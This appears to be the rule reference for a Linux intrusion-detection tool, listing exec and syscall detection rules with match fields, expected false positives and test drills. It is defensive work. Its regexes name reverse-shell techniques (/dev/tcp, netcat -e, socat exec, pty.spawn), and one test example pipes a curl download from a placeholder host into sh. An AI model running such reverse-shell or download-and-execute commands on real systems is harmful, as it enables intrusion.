205 lines
7.2 KiB
Markdown
205 lines
7.2 KiB
Markdown
# Enodia Sentinel Event Rule Reference
|
|
|
|
Generated from the active exec/syscall rule defaults plus any configured `exec_rules_file` entries.
|
|
|
|
Use `enodia-sentinel rules list/show/test` to inspect rules and validate event fixtures locally.
|
|
|
|
Built-in event-rule fixtures live in `tests/fixtures/sids/` and can be replayed
|
|
with `enodia-sentinel rules test tests/fixtures/sids/<sid>-<slug>.json`.
|
|
Non-event built-in SIDs are covered by safe offline drills in `tests/sid_drills.py`;
|
|
`python3 -m unittest tests.test_sid_coverage -v` verifies the full registry.
|
|
|
|
## SID 100001: Program executed from a world-writable directory
|
|
|
|
- Event: `exec`
|
|
- Signature: `exec_rule.fileless-execution`
|
|
- Classtype: `fileless-execution`
|
|
- Severity: `CRITICAL`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `path_prefixes`: `/tmp/`, `/dev/shm/`, `/var/tmp/`
|
|
|
|
Expected false positives:
|
|
- Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`.
|
|
- One-shot administrative diagnostics copied into a writable directory.
|
|
|
|
Drill or fixture: `sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled.
|
|
|
|
## SID 100002: Reverse-shell command pattern in execve arguments
|
|
|
|
- Event: `exec`
|
|
- Signature: `exec_rule.c2-reverse-shell`
|
|
- Classtype: `c2-reverse-shell`
|
|
- Severity: `CRITICAL`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `argv_regex`: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b`
|
|
|
|
Expected false positives:
|
|
- Security training labs or safe self-tests that intentionally include reverse-shell command text.
|
|
- Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv.
|
|
|
|
Drill or fixture: `sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline.
|
|
|
|
## SID 100003: Web/DB service spawned a shell or interpreter (possible RCE/webshell)
|
|
|
|
- Event: `exec`
|
|
- Signature: `exec_rule.web-rce`
|
|
- Classtype: `web-rce`
|
|
- Severity: `CRITICAL`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `exec_comm`: `ash`, `bash`, `dash`, `ksh`, `lua`, `nc`, `ncat`, `netcat`, `perl`, `php`, `python`, `python2`, `python3`, `ruby`, `sh`, `socat`, `zsh`
|
|
- `parent_comm`: `apache`, `apache2`, `caddy`, `catalina`, `httpd`, `lighttpd`, `mariadbd`, `mysqld`, `nginx`, `node`, `nodejs`, `php`, `php-fpm`, `php7`, `php8`, `postgres`, `redis-server`, `tomcat`
|
|
|
|
Expected false positives:
|
|
- Legitimate web applications invoking maintenance scripts through shell wrappers.
|
|
- Database or web service containers whose entrypoint intentionally spawns an interpreter.
|
|
|
|
Drill or fixture: Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter.
|
|
|
|
## SID 100004: Download piped directly to a shell (ingress tool transfer)
|
|
|
|
- Event: `exec`
|
|
- Signature: `exec_rule.ingress-tool-transfer`
|
|
- Classtype: `ingress-tool-transfer`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `argv_regex`: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b`
|
|
|
|
Expected false positives:
|
|
- Bootstrap scripts that intentionally pipe downloaded install content into a shell.
|
|
- Developer setup tooling run interactively during provisioning.
|
|
|
|
Drill or fixture: Use `rules test` with argv like `curl http://example.invalid/x | sh`.
|
|
|
|
## SID 100060: mprotect made memory writable and executable
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.memory-obfuscation`
|
|
- Classtype: `memory-obfuscation`
|
|
- Severity: `CRITICAL`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `mprotect`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- JIT runtimes or emulators that make pages writable and executable.
|
|
- Security tooling that deliberately tests W^X policy.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`.
|
|
|
|
## SID 100061: mmap requested writable and executable memory
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.memory-obfuscation`
|
|
- Classtype: `memory-obfuscation`
|
|
- Severity: `CRITICAL`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `mmap`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- JIT runtimes, emulators, or language VMs that allocate RWX memory.
|
|
- Compatibility layers that request executable writable mappings.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions.
|
|
|
|
## SID 100062: memfd_create used for anonymous in-memory file staging
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.fileless-execution`
|
|
- Classtype: `fileless-execution`
|
|
- Severity: `MEDIUM`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `memfd_create`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files.
|
|
- Container or IPC frameworks using memfd as a transport primitive.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `memfd_create`; include `text` to document the captured name.
|
|
|
|
## SID 100063: ptrace anti-debug or attach operation observed
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.anti-analysis`
|
|
- Classtype: `anti-analysis`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `ptrace`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes.
|
|
- Developer sessions running `strace`, `gdb`, or similar tracing tools.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`).
|
|
|
|
## SID 100064: seccomp sandboxing call observed (possible anti-analysis hardening)
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.anti-analysis`
|
|
- Classtype: `anti-analysis`
|
|
- Severity: `MEDIUM`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `prctl`, `seccomp`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening.
|
|
- Security test harnesses validating seccomp policy.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`).
|
|
|
|
## SID 100065: cross-process memory read/write syscall observed
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.credential-access`
|
|
- Classtype: `credential-access`
|
|
- Severity: `HIGH`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `process_vm_readv`, `process_vm_writev`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- Debuggers, profilers, memory scanners, and EDR tools inspecting another process.
|
|
- Backup or checkpoint tooling that reads process memory intentionally.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`.
|
|
|
|
## SID 100066: memory locking syscall observed (possible protected in-memory payload)
|
|
|
|
- Event: `syscall`
|
|
- Signature: `syscall_rule.memory-obfuscation`
|
|
- Classtype: `memory-obfuscation`
|
|
- Severity: `MEDIUM`
|
|
- Origin: `builtin`
|
|
|
|
Match fields:
|
|
- `syscalls`: `mlock`, `mlock2`, `mlockall`
|
|
- `predicate`: `built-in predicate`
|
|
|
|
Expected false positives:
|
|
- Databases, crypto agents, and credential stores locking sensitive memory.
|
|
- Realtime or performance-sensitive services using `mlock` intentionally.
|
|
|
|
Drill or fixture: Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`.
|